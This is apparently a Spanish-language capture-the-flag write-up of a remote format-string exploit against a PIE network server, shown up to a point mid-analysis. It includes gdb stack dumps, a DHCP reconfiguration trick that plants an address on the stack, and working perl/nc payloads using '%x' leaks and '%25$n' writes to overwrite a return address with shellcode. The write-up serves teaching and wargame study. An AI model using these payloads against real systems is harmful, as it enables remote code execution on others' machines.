Este es el último nivel y el más difícil de todos con bastante diferencia. Nos conectamos y vemos el típico binario y su fuente. Al ejecutarlo vemos que se queda escuchando en el puerto 12345.
$ ./level5
port: 12345
Si probamos a enviarle cosas nos las imprime en la consola del server, no en la del cliente. Desde otra consola (en nuestro ordenador físico por ejemplo):
$ nc 192.168.169.128 12345
str: hola
thnx
$
En la consola del servidor ahora vemos (OJO! no es que hayamos vuelto a ejecutar level5, ya lo ejecutabamos de antes, lo ponemos para que sea más clarificador todo lo que se ve en la consola del server):
$ ./level5
port: 12345
hola
Ya tenemos una ligera idea de que va el nivel, una explotación en remoto. Ahora pasemos al código fuente. Al analizarlo nos llama la atención unas cuantas cosas. La primera pero no la más importante es que te avisa de que efectivamente se supone que es una explotación en remoto y por consiguiente no deberías poder ver el /proc de la máquina donde se está ejecutando el server. Al no poder acceder al /proc hay unas cuantas cosas que no podríamos saber del proceso.
Otra cosa que nos llama la atención es que hay unas cuantas funciones que están declaradas e implementadas pero que no se llaman nunca, como por ejemplo get_urand(). Ya veremos si más adelante hace falta usarlas.
Lo que más nos debe llamar la atención es la vulnerabilidad que vamos a explotar, existe una función dovuln con lo siguiente:
int dovuln(char *buf)
{
printf(buf);
return 0;
}
Se trata una explotación de "format string attack". El programador está imprimiendo directamente la string que le estamos pasando por el socket. Lo correcto hubiera sido poner printf("%s", buf). Debido a esto podemos usar directivas de formato de la familia de funciones printf() para explotar el programa.
Analizando más el código fuente veremos que ese buf está en heap y no en el stack. Es reservado mediante malloc() en la función anterior a dovuln(), handle() y que tiene un tamaño de 1024 bytes contando el '\0' que el propio programa pone. La lectura a su vez con el recv() especifíca 1024-1 bytes a leer, lo que quiere decir que no hay BoF.
Si empezamos a analizar el binario con el gdb nos vamos a llevar dos sorpresas:
$ gdb -q level5
Leyendo símbolos desde /media/penole_/wargames/nocon_name_2011/level5/level5...hecho.
(gdb) disas dovuln
Dump of assembler code for function dovuln:
0x00000fab <+0>: push %ebp
0x00000fac <+1>: mov %esp,%ebp
0x00000fae <+3>: sub $0x8,%esp
0x00000fb1 <+6>: mov 0x8(%ebp),%eax
0x00000fb4 <+9>: mov %eax,(%esp)
0x00000fb7 <+12>: call 0xfb8 <dovuln+13>
0x00000fbc <+17>: mov $0x0,%eax
0x00000fc1 <+22>: leave
0x00000fc2 <+23>: ret
End of assembler dump.
(gdb)
La primera es buena, el binario tiene información de depuración ya que logra leer símbolos, lo dice en la primera línea después de ejecutar gdb. Esto la mayoría de las veces no nos damos cuenta porque estamos condicionados, pero si no hay información de depuración lo que gdb dice es "Leyendo símbolos desde <binario a depurar>...(no se encontraron símbolos de depuración)hecho.".
Por otro lado hay una mala sorpresa. Al desamblar dovuln() para ver un poco cómo lo hace todo vemos algo raro, el call ese en dovuln+12. hace una llamada a dovuln+13?! WTF!, pero si ni siquiera dovuln+13 es una instrucción de verdad, está partido entre los bytes del propio call y quizás del mov. Si miramos otros calls de otras funciones veremos que se repite. Además también nos fijamos en las direcciones que aparecen al lado de las instrucciones. Una persona familiarizada con el reversing en sistemas UN*X tendrá grabado a fuego en el cerebro (cosa que a veces es malo porque crea malos hábitos... como lo de la información de depuración), que el código de un programa siempre se situa por las direcciones 0x0804XXXX más o menos, que un poco más abajo están los datos, que la pila suele estar en 0xbfffXXXX, etc... De hecho si miramos con readelf/objdump las secciones de un programa normal veremos lo siguiente:
$ objdump -h /home/level3/level4
...
13 .text 0000025c 08048440 08048440 00000440 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 0000001c 0804869c 0804869c 0000069c 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000073 080486b8 080486b8 000006b8 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame 00000004 0804872c 0804872c 0000072c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .ctors 00000008 08049730 08049730 00000730 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dtors 00000008 08049738 08049738 00000738 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .jcr 00000004 08049740 08049740 00000740 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 000000d0 08049744 08049744 00000744 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .got 00000004 08049814 08049814 00000814 2**2
CONTENTS, ALLOC, LOAD, DATA
22 .got.plt 00000030 08049818 08049818 00000818 2**2
CONTENTS, ALLOC, LOAD, DATA
23 .data 00000008 08049848 08049848 00000848 2**2
CONTENTS, ALLOC, LOAD, DATA
24 .bss 0000000c 08049850 08049850 00000850 2**2
ALLOC
...
Vemos que efectivamente la sección .text (el código) en este caso cae en 0x0848440, la sección .data (datos inicializados) cae un poco más abajo 0x08049848... Una aclaración antes de seguir, los términos "arriba" y "abajo" cuando se está con reversing son muy controvertidos. Hay gente que considera que la pila está "arriba" y otras que la pila está "abajo". Los famosos libros de arquitectura de computadores, reversing, assembler, etc... también cada autor lo trata como quiere. En nuestro caso vamos a representarnos la memoria con las direcciones más bajas (0x0, 0x1, /etc...) "arriba" y las direcciones altas "abajo", puede sonar lioso pero todo es hacerse a la norma. Así que cuando use expresiones de "la variable X está más arriba que la variable Y" se debe entender que "la variable X está en una posición de memoria más baja que la variable Y", y viceversa.
Volviendo al binario level5, entonces por qué en este binario las direcciones no siguen este patrón tan común. La respuesta la tenemos con lo siguiente:
$ readelf -h level5
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0xb60
Start of program headers: 52 (bytes into file)
Start of section headers: 7028 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 7
Size of section headers: 40 (bytes)
Number of section headers: 37
Section header string table index: 34
El tipo del binario es DYN, no EXEC (como es el caso más común). Eso quiere decir que se ha compilado para que sea un binario tipo PIE (Position Independant Executable) con algo como "gcc -fPIE -pie -o level5 level5.c". Es decir, que las direcciones de los datos y código no estén grabadas a fuego en el binario, sino que sea el enlazador (ld), junto con el sistema, en el momento de cargar el binario en memoria decidan dónde van a estar todas las cosas. Este es el formato típico de las bibliotecas dinámicas, si le echamos un ojo a la libc veremos lo siguiente:
$ readelf -h /lib/libc-2.11.2.so
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x16dd0
Start of program headers: 52 (bytes into file)
Start of section headers: 1316456 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 10
Size of section headers: 40 (bytes)
Number of section headers: 68
Section header string table index: 67
Vemos que también es de tipo DYN. Alguno se puede preguntar, y para que nos han soltado todo este rollo? Bueno pues resulta que el gdb que hay instalado en la máquina virtual es la versión:
$ gdb --version
GNU gdb (GDB) 7.0.1-debian
...
Y es a partir de la versión 7.1 de gdb dónde se ha incluido el soporte para depurar binarios PIE, lo que quiere decir que no podremos usar gdb para depurar level5. De hecho si lo intentamos obtenemos lo siguiente:
(gdb) br *dovuln
Breakpoint 1 at 0xfab
(gdb) run
Starting program: /home/level4/level5
Warning:
Cannot insert breakpoint 1.
Error accessing memory address 0xfab: Input/output error.
(gdb)
En nuestro caso concreto se nos ocurrió dos cosas, la primera y que fue la que hicimos fue llevarnos el binario y el fuente al ordenador físico donde teníamos la versión 7.2 de gdb y sí podíamos depurar la ejecución. La idea era hacer todo el análisis y la explotación en local y luego intentar llevarla a cabo en remoto. La otra opción es intentar instalar una versión de gdb 7.1+ en la máquina virtual. En nuestro caso concreto, más adelante hicimos un intento pero no funcionó rápidamente y tampoco queríamos gastar mucho tiempo en ello, hay unos cuantos problemas a la hora de hacerlo.
Seguimos para adelante. A partir de ahora vamos a estar a dos bandas, por un lado depurando en nuestra máquina local así que todas las referencias a memoria que hagamos aquí probablemente cambien en otra máquina, lo que quiere decir que los números que mostremos durante las pruebas y explotaciones haya que modificarlos para que cuadren en otro lado. También entendemos que el lector tiene conocimientos decentes de lo que son las format strings de la familia de funciones printf() y que sabe al menos en teoría lo que es un format string attack y cómo, más o menos, explotarlo. También queremos aclarar que todo lo que aquí exponemos y que parecen saltos lógicos a la hora de realizarlos y de estar haciendo el análisis no ha sido todo tan rápido, nos hemos estado mucho tiempo con este nivel (mucho más que con el anterior).
Lo primero va a ser mirar un poco cómo está la pila justo antes de imprimir en dovuln():
(gdb) set follow-fork-mode child
(gdb) disas dovuln
Dump of assembler code for function dovuln:
0x00000fab <+0>: push %ebp
0x00000fac <+1>: mov %esp,%ebp
0x00000fae <+3>: sub $0x8,%esp
0x00000fb1 <+6>: mov 0x8(%ebp),%eax
0x00000fb4 <+9>: mov %eax,(%esp)
0x00000fb7 <+12>: call 0xfb8 <dovuln+13>
0x00000fbc <+17>: mov $0x0,%eax
0x00000fc1 <+22>: leave
0x00000fc2 <+23>: ret
End of assembler dump.
(gdb) br *dovuln+12
Punto de interrupción 1 at 0xfb7
(gdb) run
Starting program: /home/ole/level5
port: 12345
[Nuevo process 19015]
[Cambiando a process 19015]
Breakpoint 1, 0x00110fb7 in dovuln ()
(gdb) x /10xw $esp
0xbffff350: 0x00113008 0xb7f8330b 0xbffff388 0x0011104f
0xbffff360: 0x00113008 0x00113008 0x000003ff 0x00000000
0xbffff370: 0x00000000 0x00000000
(gdb) x /s 0x00113008
0x113008: "hola\n"
(gdb) x /i 0x0011104f
0x11104f <handle+140>: movl $0x0,0xc(%esp)
(gdb)
Aquí podemos ver dónde está situada la string que le pasamos en el heap (0x00113008) y la dirección de retorno de dovuln (0x0011104f). Nuestro objetivo va a ser el de siempre, intentar sobreescribir la dirección de retorno para que salte a nuestra shellcode. Evidentemente la shellcode la inyectaremos en la string que le pasamos al programa, es decir querremos cambiar 0x0011104f por 0x00113008 o una dirección más o menos cercana e inferior ya que podremos inyectar también un NOPSLED. ¿Cómo lo vamos a hacer?.
Normalmente cuando una string que permite hacer un format string attack se encuentra en la pila, una técnica consiste en ver cuál es la dirección de la dirección de retorno (cómo ésto es lioso voy vamos a referirnos a "la dirección de retorno como ret"), hardcodearla en nuestra string y acceder a ella mediante suficientes conversiones en nuestra string. Ejemplo rápido, esta es la pila de un programa con la vulnerabilidad:
----------------------
| dir nuestra cadena | <-- Parámetro para printf(omg), nótese que omg es la variable que contiene nuestra cadena
----------------------
| saved ebp |
----------------------
| ret | <-- La dirección esta es 0x01ec0ded.
----------------------
| |
| basura | <-- Supongamos 8 bytes de basura (cosas que no nos interesan).
| |
----------------------
| nuestra cadena | <-- Los bytes de nuestra cadena. OJO! no tiene por qué ser 4 bytes, pueden ser más.
----------------------
Si en esta situación pasáramos la string "\xed\x0d\xec\x01%5$n", lo que pasaría sería que printf escribiría los 4 primeros caracteres (aparecería basura en la pantalla pero esos 4 bytes si nos fijamos son la dirección donde está ret) y luego aplicaría el %5$n, lo que ocasiona que en la dirección a la que apunta el quinto parámetro de printf después de la cadena de formato (en definitiva, el sexto parámetro) se guarden el número de caracteres impresos hasta ese momento (se guarda un 4). Pero cuál es el quinto parámetro? pues los 4 primeros bytes de nuestra string... que apuntan a ret... con lo que sobreescribiríamos ret con un 4.
En esto es en lo que se basan los format string attacks cuando nuestra string está en pila. Es posible que muchos no conozcan bien todas las opciones que ofrecen las format strings, el %5$n puede resultar bastante raro, para aclararlo un poco (si es que lo logramos) hay que saber que %n es una construcción que lo que hace es guardar %n en la posición de memoria a la que apunta el parámetro que le corresponde el número de caracteres impresos hasta ese punto. Por otra parte las format strings ofrecen un mecanismo conocido como Direct Parameter Access (DPA) que permite a una directiva de format (%algo) acceder a cualquiera de los parámetros del printf, así por ejemplo %3$d imprimirá el entero que hay en el cuarto parámetro a printf(). En general su formato es %<n>$<caracter de conversion>. Esto junto con las otras opciones que puede llevar la directiva de conversión se vuelve más lioso, pero la tenemos que conocer y manejar con soltura, al menos hasta esta profundidad, %<n>$<caracter de relleno><longitud mínima><caracter de conversión>. Con esto se imprime el n-ésimo+1 parámetro de printf() como un <lo que indique el caracter de conversión> con al menos <longitud mínima> caracteres usando <caracter de relleno> para llegar a esa longitud mínima si fuera necesario. Ejemplo %5$08x, imprime el sexto parámetro de printf() como un entero en hexadecimal con al menos longitud 8 usando el caracter '0' para llegar a longitud 8 si fuera necesario.
No queremos explicar cómo explotar un format string attack desde 0 porque para eso ya hay muy buenos papers por internet de gente mucho más profesional que nosotros, pero al menos dar un mínimo de orientación para hacer al texto lo más autocontenido posible.
Volviendo a level5. Aunque hay una vulnerabilidad de format string attack, no podemos explotarla tan directamente como hemos explicado porque nuestra string se encuentra en el heap, y no en la pila. Esto no sería un problema si no fuera porque el heap se encuentra encima de la pila y la técnica de DPA no permite acceder a posiciones negativas... no se pude hacer %-4$n }:), una pena jejeje.
Lo concluido es que sólo podemos reescribir aquellas posiciones de memoria que ya vengan señaladas por algún valor en la pila. Es decir, si la pila contiene los valores X, Y y Z, da igual si de manera continuada o no, si están en el frame de la función que se ejecuta o no, podremos escribir las posiciones de memoria X, Y y Z.
Ahondando un poco más en nuestro objetivo, vamos a ampliarlo un poco, hemos dicho que es sobreescribir la dirección de retorno. Realmente nos serviría con sobreescribir UNA dirección de retorno. No tiene por qué ser la más inmediata (dovuln a handle), sino que puede ser la siguiente (handle a loop) o incluso a más profundidad. Esto tiene una pequeña limitación. Si alguna de las funciones ejecuta exit(), el programa no retornará más a partir de ese punto (exit() le pide al sistema que termine con el proceso... un suicidio acelerado). Esta limitación se da en cierto punto. Si miramos el código del programa veremos:
int loop(int ssock)
{
int csock, pid;
struct sockaddr_in caddr;
socklen_t clen = sizeof caddr;
while(1)
{
csock = accept(ssock, (struct sockaddr *) &caddr, &clen);
if(csock == -1) { perror("accept()"); continue; }
pid = fork();
if(pid == -1) { perror("fork()"); continue; }
if(pid == 0) { close(ssock); handle(csock); exit(0); }
else close(csock);
}
return 0;
}
Que la función loop ejecuta un exit() después de ejecutar handle(). Esto significa que podemos sobreescribir la dirección de retorno de dovuln, la de handle pero la de loop no. Bueno, realmente sí que podemos pero no nos va a servir para saltar luego ahí porque el exit() terminará con el proceso antes.
Si volvemos a analizar la pila (aprovechamos para recordar que esta depuración se está haciendo en la máquina física, si llegamos a encontrar una técnica para explotar el programa, a la hora de intentarlo en la máquina virtual habrá que cambiar ciertas cosas, direcciones de memoria principalmente):
(gdb) x /32xw $esp
0xbffff350: 0x00113008 0xb7f8330b 0xbffff388 0x0011104f
0xbffff360: 0x00113008 0x00113008 0x000003ff 0x00000000
0xbffff370: 0x00000000 0x00000000 0xb7fc8ff4 0xb7fc8ff4
0xbffff380: 0x00000000 0x00113008 0xbffff3c8 0x00110ea7
0xbffff390: 0x00000006 0xbffff3b0 0xbffff3ac 0xb7fc8ff4
0xbffff3a0: 0x00000000 0x00000000 0xbffff3c8 0x00000010
0xbffff3b0: 0x95bb0002 0x0100007f 0x00000000 0x00000000
0xbffff3c0: 0x00000006 0x00000000 0xbffff3f8 0x001110f5
(gdb) info stack
#0 0x00110fb7 in dovuln ()
#1 0x0011104f in handle ()
#2 0x00110ea7 in loop ()
#3 0x001110f5 in main ()
(gdb)
Podemos ir tomando nota de las direcciones de los rets que nos puede interesar sobreescribir: 0xbffff35c (de dovuln a handle), 0xbffff38c (de handle a loop). Si consiguieramos que en la pila apareciera alguno de estos valores podríamos aprovecharnos de la format string para usar %n con ese valor. Vemos que hay valores cercanos pero no hay ninguno que apunte directamente a una dirección de retorno (menuda coña nos habríamos marcado si así fuera!).
Aquí es donde se encuentra uno de los momentos de más creatividad del nivel (al menos haciendo lo que estamos haciendo). Tenemos que analizar lo más que podamos de la pila, no importa incluso si acabamos poniendo el puntero a una dirección de retorno terriblemente lejos de la cima, nos basta con que esté en algún lado. En este momento hay que empezar a analizar el programa y ver cuales son todas las entradas al mismo que el usuario puede controlar. Hay una evidente y que ya hemos hablado, nuestra string, es la entrada más directa al programa, son bytes que nosotros le metemos, ¿pero hay más entradas?, ¿hay algún valor en pila que nosotros podamos tocar a nuestro antojo o al menos influir en él?. Pues la respuesta, menos mal, es SÍ, y aquí está lo gracioso, ve el lector el 0x0100007f situado en la posición 0xbffff3b0? Le dice algo? a nosotros nos dice 127.0.0.1 :). Efectivamente, es la dirección IP de la máquina cliente (la atacante). Este valor es pusheado a la pila cuando dos funciones antes (en loop()) el cliente se conecta y la llamada a accept() rellena los parámetros correspondientes con la información del cliente:
while(1)
{
csock = accept(ssock, (struct sockaddr *) &caddr, &clen); <--- ZAS! EN TODA LA BOCA!
if(csock == -1) { perror("accept()"); continue; }
Aquí hay datos que controlamos nosotros, la dirección IP y el puerto concretamente. Aunque en nuestro caso no vamos a utilizar el puerto. Algunos ya se imaginarán por dónde van los tiros, otros quizás piensen "pero la dirección IP no la controlamos nosotros sino que ya tenemos la que tenemos". Como dijo Arquímedes "Dadme una cuenta de root y moveré el mundo!" (no es así?). El ordenador físico es nuestro y nos lo f0114m05 (nótese la censura h4x0r!) cuando queramos. Pues bien, vamos a hacer lo siguiente sin explicarlo mucho y veamos el resultado
- Primero apagamos VMware entero, no sólo la máquina virtual.
- Como la interfaz que utiliza VMware cuando una máquina virtual está configurada como NAT es la vmnet8 nos vamos a /etc/vmware/vmnet8/dhcpd.
- Editamos el fichero dhcpd.conf:
###### VMNET DHCP Configuration. Start of "DO NOT MODIFY SECTION" #####
# Modification Instructions: This section of the configuration file contains
# information generated by the configuration program. Do not modify this
# section.
# You are free to modify everything else. Also, this section must start
# on a new line
# This file will get backed up with a different name in the same directory
# if this section is edited and you try to configure DHCP again.
# Written at: 09/07/2011 14:29:58
allow unknown-clients;
default-lease-time 1800; # default is 30 minutes
max-lease-time 7200; # default is 2 hours
subnet 44.252.255.0 netmask 255.255.255.0 { <--- Tocamos aquí
range 44.252.255.10 44.252.255.15; <--- y aquí
option broadcast-address 44.252.255.255; <--- y aquí
option domain-name-servers 44.252.255.2; <--- y aquí
option domain-name localdomain;
default-lease-time 1800; # default is 30 minutes
max-lease-time 7200; # default is 2 hours
option routers 44.252.255.2; <-- aquí también
}
host vmnet8 {
hardware ethernet 00:50:56:c0:00:08;
fixed-address 44.252.255.191; <--- Pero sobre todo aquí y con este número concretamente
option domain-name-servers 0.0.0.0;
option domain-name "";
option routers 0.0.0.0;
}
####### VMNET DHCP Configuration. End of "DO NOT MODIFY SECTION" #######
- Me encantan los avisos de "DO NOT MODIFY SECTION", que majos... una pena no saber inglés. Cambiamos la subred en la que estaba dando direcciones el DHCP de VMware por las que tenemos ahí por ejemplo, realmente lo importante es asegurarnos que a nuestro ordenador le va a asignar la dirección IP 44.252.255.191.
- Reiniciamos el servicio porque si no VMware no leerá la nueva configuración y nos seguirá dando las direcciones anteriores:
ole@pc-ole:/etc/vmware/vmnet8/dhcpd$ sudo service vmware restart
...
Virtual ethernet done
Shared Memory Available done
$
- Un detalle a tener en cuenta es que la opción "Virtual ethernet" debe decir "done" y no "failed". Si nos pone failed es que hemos editado mal el fichero... y VMware no va a decir ni pío.
- Arrancamos la máquina virtual (le asignará la dirección 44.252.255.10) y pedimos dirección IP en la interfaz correspondiente:
$ sudo dhclient vmnet8
...
DHCPREQUEST of 44.252.255.191 on vmnet8 to 255.255.255.255 port 67
DHCPACK of 44.252.255.191 from 44.252.255.15
bound to 44.252.255.191 -- renewal in 803 seconds.
- Quizás tendremos que esperar un poco porque al principio nuestro ordenador intentará obtener la última dirección que tuvo, el DHCP le responderá con un DHCPNAK y unos segundos más tarde ya pedirá alguna dirección IP y nos dará la que queremos.
Bien, una vez realizados estos pasos vamos a seguir por donde ibamos. Esta vez vamos directamente a atacar al servidor en la máquina remota (no en local como hemos estado haciendo hasta ahora) y vamos a pedirle que nos imprima unos cuantos valores de la pila, así de paso refrescamos lo que hablamos antes de las format strings:
$ $ ./ignorante_de_la_vida
port: 12345
Ejecutamos el servidor en la máquina virtual (leer la NOTA 1 para entender el por qué de "ignorante_de_la_vida". Y ahora desde la máquina física le pedimos que nos imprima un poco de la pila:
$ perl -e 'print "0x%08x\n"x30' | nc 44.252.255.10 12345
Y esto es lo que nos escupe el servidor:
0xbffffc30 <-- Llamémosle 1 (un nombre elegido aleatoriamente)
0xbffffc58 <-- Llamémosle 2 (un nombre elegido aleatoriamente + 1)
0xb7fff04f <-- Adivina...
0xb8001008
0xb8001008
0x000003ff
0x00000000
0x00000000
0x00000000
0xb7fd5ff4
0xbffffc98
0xb7fd5ff4
0xb8001008
0xbffffc98 <-- 14
0xb7ffeea7 <-- 15
0x00000004
0xbffffc80
0xbffffc7c
0xb7fd5ff4
0x00000000
0x00000000
0xbffffc98
0x00000010
0x01850002
0xbffffc2c <-- 25
0x00000000
0x00000000
0x00000004
0x00000000
0xbffffcc8 <-- 30
So interesting... Vamos a explicar un poco lo que aquí se ve. Le hemos mandado al server la string "0x%08x\n" repetida 30 veces. Al tener la vulnerabilidad de format string attack printf(buf), lo que va a ocurrir es que se imprimirán los parámetros 2, 3, ... 31 de printf. Tal cuál funciona el paso de parámetros en C estos parámetros deberían estar en ebp+8, ebp+c, ebp+10, ... del frame printf. Cuando dovuln() llama a printf() lo primero que se hace es pushear la dirección de retorno, luego salvar el ebp del frame de dovuln() y ya luego hacer su trabajo. Los parámetros a cualquier función se deben poner en la pila justo antes de la llamada y de forma que el parámetro 1 sea el más alto de todos, debe estar en ebp+8, el segundo el siguiente en ebp+c, y así sucesivamente (en bibliografía que hable sobre esto a veces lo llamarán pushear al revés, primero el último parámetro). Sin embargo printf realmente sólo tiene un parámetro, buf la dirección de nuestra string, pero printf no lo sabe así que al tener en nuestra string directivas de formato %x printf() accederá a los valores que hay en ebp+8, etc... como si los hubiera, por lo tanto nos estará mostrando la pila. Esto es típico de los format string attacks.
Después de un análisis de lo que ahí vemos nos daremos cuenta de que 0xbffffc58 es el saved ebp del frame de handle() (lo que llamamos 2), 3 es la dirección de retorno de dovuln(), 4 y 5 es la dirección a nuestra string, 14 es el saved ebp de del frame de loop(), 15 es la dirección de retorno de handle() y 25 es NUESTRA DIRECCION IP :). 44.252.255.191 es en hexadecimal 0x2cfcffbf, y como el endian de internet es big-endian (a diferencia que en x86 donde el endian es little-endian) dándole la vuelta obtenemos 0xbffffc2c. Y que importa? Bien, vamos a hacer un pequeño calculo:
- No sabemos la dirección del ret de 3, pero sabemos como funciona la pila, 2 es la dirección del anterior ebp, que a su vez apunta al aaaaaanterior saved ebp.
- Por el parecido de las direcciones se nota que el aaaaaanterior saved ebp es 14, lo que quiere decir que esa dirección es 2... la dirección de 14 es 2.
- Contando hacía arriba obtenemos que 3 está en la dirección... 0xbffffc2c!!! VAYA QUE CASUALIDAD! Hemos conseguido que nuestra dirección IP "casualmente" tenga el mismo valor que la dirección donde se guarda el ret de dovuln() }:-).
Bueno, pues ahora valiéndonos del format string attack y de este valor PODEMOS SOBREESCRIBIR LA DIRECCIÓN DE RETORNO!:
$ perl -e 'print "PWNED!" . "%25\$n"' | nc 44.252.255.10 12345
Con esto lo que haremos será escribir en la dirección de retorno el valor 6, la cantidad de caracteres que ocupa "PWNED!".
0xbffffc30
0xbffffc58
0x00000006 <-- Magia potagia!
0xb8001008
0xb8001008
0x000003ff
0x00000000
0x00000000
0x00000000
0xb7fd5ff4
0xbffffc98
0xb7fd5ff4
0xb8001008
0xbffffc98
0xb7ffeea7
0x00000004
0xbffffc80
0xbffffc7c
0xb7fd5ff4
0x00000000
0x00000000
0xbffffc98
0x00000010
0x01850002
0xbffffc2c
0x00000000
0x00000000
0x00000004
0x00000000
0xbffffcc8
Entonces cuando dovuln() termine y retorne no se volverá a la siguiente instrucción al call que la llamo, sino la a dirección 6 y el hilo acabará en un bonito Segmentation Fault (que no veremos) porque esa dirección no es legible. Ya hemos conseguido el primer objetivo, conseguir cambiar el flujo de ejecución del programa. Ahora tenemos que conseguir hacer algo útil.
Lo primero que se nos viene a la mente es "hey! y porque no escribimos un MONTOOOOOOOOOOOOOOOOOOÓN de caracteres, concretamente 0xb8001008 en total }:-)", por supuesto ademas lo primero que le pasaremos a nuestra string será una bonita shellcode. La del nivel anterior mismo, consultar el writeup de level4 para ver qué técnicas debe implementar la shellcode y un ejemplo de shellcode. Dicho y hecho, vamos a imprimir hasta la muerte.
$ perl -e 'print `cat shellcode` . "%03087011798x" . "%25\$n"' | nc 44.252.255.10 12345
0xb8001008 en decimal es 3087011848 que menos los 50 bytes que se imprimen de nuestra shellcode son 3087011798. Primer problema, cuando ejecutamos esto comprobaremos que el servidor no hace nada. No imprime nada. Simplemente se queda corriendo como si nada hubiera llegado. Analizando y depurando acabamos concluyendo que se trata de una limitación de vfprintf(). Vfprintf() es la función primigenea de todas las de la familia printf(), todas las demás no son mas que wrappers que acaban llamando a vfprintf(). Resulta que no se puede pedir que se impriman de longitud más de 0x08ffXXXX caracteres (especificamos XXXX porque cuando ibamos comprobando decidimos parar y no llegar a saber cuál es la cantidad exacta de bytes que se pueden llegar a imprimir, con 0x08ffXXXX nos bastaba para lo que queríamos).
Más adelante se nos ocurriría probar a en vez de imprimir un número con muchísima longitud probar a imprimir varios números de menor longitud... suena un poco descabellado pero hasta que no se prueba no se sabe. Hicimos lo siguiente:
$ perl -e 'print `cat shellcode` . "%0134221782x" . "134217728"x22 . "%25\$n"' | nc 44.252.255.10 12345
Vamos a explicarlo un poco, lo primero que hemos hecho es, dado que con las pruebas anteriores sabemos que se puede llegar a imprimir de una sola vez 0x08ffXXXX bytes a 0xb8001008 le restamos los 0x08001008 bytes finales. Esta cantidad se puede imprimir de golpe, en decimal es 134221832, menos los 50 bytes de la shellcode 134221782, la primera directiva %x de relleno. Nos quedan 0xb0000000 bytes por imprimir, dividimos esa cantidad entre 0x08000000 y nos sale 0x16, es decir 22. 0x08000000 en decimal es 134217728, entonces creamos 22 directivas %x que impriman esa cantidad. Antes de ejecutar esto debemos darnos cuenta de que vamos a intentar imprimir 0xb8001008 bytes, esto son unos 2,9 Gb así que la ejecución va a tardar... y van a salir muchos ceros en la pantalla :).
Una aclaración, ya hemos comentado antes que hay una alarma de 10 segundos y explicamos (en NOTA 1) como quitarnos esa molestia. Si llegamos a este punto y no hemos implementado la solución la alarma nos cortará ya que imprimir todo esto tarda "algo más" de 10 segundos :D. Así que aquí sí que es necesario el ignorante_de_la_vida :). Pues bien, después de todo esto, va dar igual todo el trabajo (bueno igual no, hemos aprendido cosas) porque el printf no imprimirá más de 2,1 Gb. Nos bajamos el código fuente de la glibc para analizar ésto pero al final paramos porque queríamos seguir con el reto y porque el código del vfprintf() no es lo que uno llamaría "trivial" (macros powa!). Así que nos quedamos a dos velas T_T, teniendo el nivel a nada de distancia y no llegamos al final porque el vfprintf() está vagueando y pasa de imprimir tantos bytes :(.
Tendremos que enfocarlo de otra manera. Llegados a este punto nos fijamos en las funciones implementa level5 y que sin embargo no se usan, get_urand() y connectto(). Fijándonos vemos que get_urand() abre /dev/urandom y lee de ahí unos cuantos caracteres, connectto() por su parte lo que hace es abrir una conexión al ordenador que se le especifique... Esto es interesante, quizás podríamos de alguna forma saltar a connectto() para abrir una conexión a nuestro ordenador atacante, donde tendremos un netcat esperando para pasar algo. Luego de alguna manera podríamos intentar leer de ese socket a alguna variable EN PILA y no en el heap como está nuestra string y entonces aplicar la técnica de hardcodear en nuestra string direcciones a las que saltar, etc... y luego si lo mezclamos todo esto con get_urand(), pero no un get_urand() cualquiera, si conseguimos enjaular al proceso en otro espacio de nombres del sistema de ficheros, donde crearemos un fichero /dev/urandom que sea un enlace a /home/level4/password.txt... LOGRARIAMOS NUESTRO OBJETIVO!.
Bueno pues la idea se queda ahí por si alguien quiere hacerlo, que tiene bastante pinta de que se puede, pero nosotros vamos a tirar por otro camino xDD. Bueno, estamos limitados a escribir una cantidad de bytes máximos... pero aún nos queda un as en la manga. No lo hemos explicado con anterioridad pero soltar toda la traya de las format strings de golpe es bastante doloroso. Atención! nueva característica de las format strings, el directiva %n como hemos visto escribe un entero (4 bytes), sin embargo se le puede añadir delante el modificador 'h' para que en vez de eso escriba un short (2 bytes), entonces "%hn" lo que haría sería escribir la cantidad de bytes escritos hasta el momento en la posición de memoria apuntada por el parámetro correspondiente pero sólo 2 bytes, dejando intacta la parte superior de esa posición de memoria si la dirección está alineada a 4 o trastocando la parte superior de la memoria pero dejando la parte baja intacta. Así si llevaramos impresos 3 bytes cuando llegamos a la directiva, y el parámetro esta apuntando al byte bajo del valor 0xaabbccdd, después del %hn quedaría 0xaabb0003, si en vez de eso X apuntara al byte que contiene bb, se quedaría 0x0003ccdd.
Y esto de que nos sirve? Revisemos la pila de nuevo.
0xbffffc30 <-- 1
0xbffffc58 <-- 2
0xb7fff04f <-- 3
0xb8001008
0xb8001008
0x000003ff
0x00000000
0x00000000
0x00000000
0xb7fd5ff4
0xbffffc98
0xb7fd5ff4
0xb8001008
0xbffffc98 <-- 14
0xb7ffeea7 <-- 15
0x00000004
0xbffffc80
0xbffffc7c
0xb7fd5ff4
0x00000000
0x00000000
0xbffffc98
0x00000010
0x01850002
0xbffffc2c <-- 25
0x00000000
0x00000000
0x00000004
0x00000000
0xbffffcc8 <-- 30
